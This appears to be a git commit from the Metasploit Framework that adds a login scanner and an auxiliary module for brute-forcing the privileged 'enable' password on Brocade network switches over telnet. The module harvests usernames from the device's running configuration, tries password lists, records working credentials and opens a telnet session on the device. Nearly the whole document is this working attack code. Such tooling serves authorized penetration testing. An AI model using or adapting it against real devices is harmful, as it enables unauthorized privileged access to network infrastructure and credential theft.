Browse Source

brocade enable command bruteforcer

root 4 years ago
parent
commit
6b5aaa5479

+ 122
- 0
lib/metasploit/framework/login_scanner/brocade_telnet.rb View File

@@ -0,0 +1,122 @@
1
+require 'msf/core'
2
+require 'metasploit/framework/telnet/client'
3
+require 'metasploit/framework/login_scanner/base'
4
+require 'metasploit/framework/login_scanner/rex_socket'
5
+module Metasploit
6
+  module Framework
7
+    module LoginScanner
8
+      # This is based off of the telnet LoginScanner.  We had to role our own,
9
+      # based on hdm's recommendation, since we're not trying to login to telnet,
10
+      # but we're actually doing the escalated privileges (enable) login.
11
+      class Brocade_Telnet
12
+        include Metasploit::Framework::LoginScanner::Base
13
+        include Metasploit::Framework::LoginScanner::RexSocket
14
+        include Metasploit::Framework::Telnet::Client
15
+
16
+        CAN_GET_SESSION      = true
17
+        DEFAULT_PORT         = 23
18
+        LIKELY_PORTS         = [ DEFAULT_PORT ]
19
+        LIKELY_SERVICE_NAMES = [ 'telnet' ]
20
+        PRIVATE_TYPES        = [ :password ]
21
+        REALM_KEY            = nil
22
+
23
+        # @!attribute verbosity
24
+        #   The timeout to wait for the telnet banner.
25
+        #
26
+        #   @return [Fixnum]
27
+        attr_accessor :banner_timeout
28
+        # @!attribute verbosity
29
+        #   The timeout to wait for the response from a telnet command.
30
+        #
31
+        #   @return [Fixnum]
32
+        attr_accessor :telnet_timeout
33
+
34
+        validates :banner_timeout,
35
+                  presence: true,
36
+                  numericality: {
37
+                      only_integer:             true,
38
+                      greater_than_or_equal_to: 1
39
+                  }
40
+
41
+        validates :telnet_timeout,
42
+                  presence: true,
43
+                  numericality: {
44
+                      only_integer:             true,
45
+                      greater_than_or_equal_to: 1
46
+                  }
47
+
48
+        # (see {Base#attempt_login})
49
+        def attempt_login(credential)
50
+          result_options = {
51
+              credential: credential,
52
+              host: host,
53
+              port: port,
54
+              protocol: 'tcp',
55
+              service_name: 'telnet'
56
+          }
57
+
58
+          begin
59
+            if connect_reset_safe == :refused
60
+              result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
61
+            else
62
+              if busy_message?
63
+                self.sock.close unless self.sock.closed?
64
+                result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
65
+              end
66
+            end
67
+
68
+            unless result_options[:status]
69
+              raw_send("enable\r\n") #send the enable command
70
+              unless password_prompt?
71
+                send_user(credential.public)
72
+              end
73
+
74
+              recvd_sample = @recvd.dup
75
+              # Allow for slow echos
76
+              1.upto(10) do
77
+                recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
78
+              end
79
+
80
+              if password_prompt?(credential.public)
81
+                send_pass(credential.private)
82
+
83
+                # Allow for slow echos
84
+                1.upto(10) do
85
+                  recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
86
+                end
87
+              end
88
+
89
+              if login_succeeded?
90
+                result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
91
+              else
92
+                result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
93
+              end
94
+
95
+            end
96
+          rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
97
+            result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
98
+          end
99
+
100
+          ::Metasploit::Framework::LoginScanner::Result.new(result_options)
101
+        end
102
+
103
+        private
104
+
105
+        # This method sets the sane defaults for things
106
+        # like timeouts and TCP evasion options
107
+        def set_sane_defaults
108
+          self.connection_timeout ||= 30
109
+          self.port               ||= DEFAULT_PORT
110
+          self.banner_timeout     ||= 25
111
+          self.telnet_timeout     ||= 10
112
+          self.connection_timeout ||= 30
113
+          self.max_send_size      ||= 0
114
+          self.send_delay         ||= 0
115
+          # Shim to set up the ivars from the old Login mixin
116
+          create_login_ivars
117
+        end
118
+
119
+      end
120
+    end
121
+  end
122
+end

+ 1
- 1
lib/msf/core/auxiliary/login.rb View File

@@ -35,7 +35,7 @@ module Auxiliary::Login
35 35
     #
36 36
     # Some of these regexes borrowed from NeXpose, others added from datasets
37 37
     #
38
-    @login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
38
+    @login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
39 39
     @password_regex = /(?:password|passwd)\s*\:/i
40 40
     @false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
41 41
     @failure_regex = /(?:

+ 150
- 0
modules/auxiliary/scanner/telnet/brocade_enable_login.rb View File

@@ -0,0 +1,150 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/core'
7
+require 'rex'
8
+require 'metasploit/framework/credential_collection'
9
+require 'metasploit/framework/login_scanner/brocade_telnet'
10
+
11
+class Metasploit4 < Msf::Auxiliary
12
+
13
+  include Msf::Exploit::Remote::Telnet
14
+  include Msf::Auxiliary::Report
15
+  include Msf::Auxiliary::AuthBrute
16
+  include Msf::Auxiliary::Scanner
17
+  include Msf::Auxiliary::CommandShell
18
+
19
+  def initialize
20
+    super(
21
+      'Name'        => 'Brocde Enable Login Check Scanner',
22
+      'Description' => %q{
23
+        This module will test a Brocade network device for a privilged 
24
+        (Enable) login on a range of machines and report successful
25
+        logins.  If you have loaded a database plugin and connected 
26
+        to a database this module will record successful
27
+        logins and hosts so you can track your access.
28
+        This is not a login/telnet authentication.  Config should NOT 
29
+        have 'enable telnet authentication' in it.  This will test the 
30
+        config that contains 'aaa authentication enable default local'
31
+        Tested against:
32
+              ICX6450-24 SWver 07.4.00bT311
33
+              FastIron WS 624 SWver 07.2.02fT7e1
34
+      },
35
+      'Author'      => 'h00die <mike[at]shorebreaksecurity.com>',
36
+      'References'  =>
37
+        [
38
+          [ 'CVE', '1999-0502'] # Weak password
39
+        ],
40
+      'License'     => MSF_LICENSE
41
+    )
42
+    register_options(
43
+      [
44
+        OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true])
45
+      ], self.class
46
+    )
47
+  @no_pass_prompt = []
48
+  end
49
+
50
+  def get_username_from_config(un_list,ip)
51
+    ["config","running-config"].each do |command|
52
+      print_status(" Attempting username gathering from #{command} on #{ip}")
53
+      sock.puts("\r\n") #ensure the buffer is clear
54
+      config = sock.recv(1024)
55
+      sock.puts("show #{command}\r\n")
56
+      while true do
57
+        sock.puts(" \r\n") #paging
58
+        config << sock.recv(1024)
59
+        #there seems to be some buffering issues. so we want to match that we're back at a prompt, as well as received the 'end' of the config.
60
+        break if config.match(/>$/) and config.match(/end/) 
61
+      end #pull the entire config
62
+      config.each_line do |un|
63
+        if un.match(/^username/)
64
+	  found_username = un.split(" ")[1].strip
65
+	  un_list.push(found_username)
66
+	  print_status("   Found: #{found_username}@#{ip}")
67
+        end #username match
68
+      end #each line in config
69
+    end #end config/running-config loop
70
+  end
71
+
72
+  attr_accessor :no_pass_prompt
73
+  attr_accessor :password_only
74
+
75
+  def run_host(ip)
76
+    if datastore['GET_USERNAMES_FROM_CONFIG']
77
+        un_list = []
78
+        connect()
79
+        get_username_from_config(un_list,ip)
80
+        disconnect()
81
+    end
82
+
83
+    if datastore['USERNAME'] #put the provided username on the array to try
84
+        un_list.push(datastore['USERNAME'])
85
+    end
86
+
87
+    un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal
88
+
89
+    un_list.each do |un|
90
+      cred_collection = Metasploit::Framework::CredentialCollection.new(
91
+          blank_passwords: datastore['BLANK_PASSWORDS'],
92
+          pass_file: datastore['PASS_FILE'],
93
+          password: datastore['PASSWORD'],
94
+          user_file: datastore['USER_FILE'],
95
+          userpass_file: datastore['USERPASS_FILE'],
96
+          username: un,
97
+          user_as_pass: datastore['USER_AS_PASS'],
98
+      )
99
+
100
+      cred_collection = prepend_db_passwords(cred_collection)
101
+
102
+      scanner = Metasploit::Framework::LoginScanner::Brocade_Telnet.new(
103
+          host: ip,
104
+          port: rport,
105
+          proxies: datastore['PROXIES'],
106
+          cred_details: cred_collection,
107
+          stop_on_success: datastore['STOP_ON_SUCCESS'],
108
+          bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
109
+          connection_timeout: datastore['Timeout'],
110
+          max_send_size: datastore['TCP::max_send_size'],
111
+          send_delay: datastore['TCP::send_delay'],
112
+          banner_timeout: datastore['TelnetBannerTimeout'],
113
+          telnet_timeout: datastore['TelnetTimeout'],
114
+          framework: framework,
115
+          framework_module: self,
116
+      )
117
+
118
+      scanner.scan! do |result|
119
+        credential_data = result.to_h
120
+        credential_data.merge!(
121
+            module_fullname: self.fullname,
122
+            workspace_id: myworkspace_id
123
+        )
124
+        if result.success?
125
+          credential_core = create_credential(credential_data)
126
+          credential_data[:core] = credential_core
127
+          create_credential_login(credential_data)
128
+          print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
129
+          start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
130
+        else
131
+          invalidate_login(credential_data)
132
+          print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
133
+        end
134
+      end
135
+    end #end un loop
136
+  end
137
+
138
+  def start_telnet_session(host, port, user, pass, scanner)
139
+    print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}")
140
+    merge_me = {
141
+      'USERPASS_FILE' => nil,
142
+      'USER_FILE'     => nil,
143
+      'PASS_FILE'     => nil,
144
+      'USERNAME'      => user,
145
+      'PASSWORD'      => pass
146
+    }
147
+
148
+    start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
149
+  end
150
+end

Loading…
Cancel
Save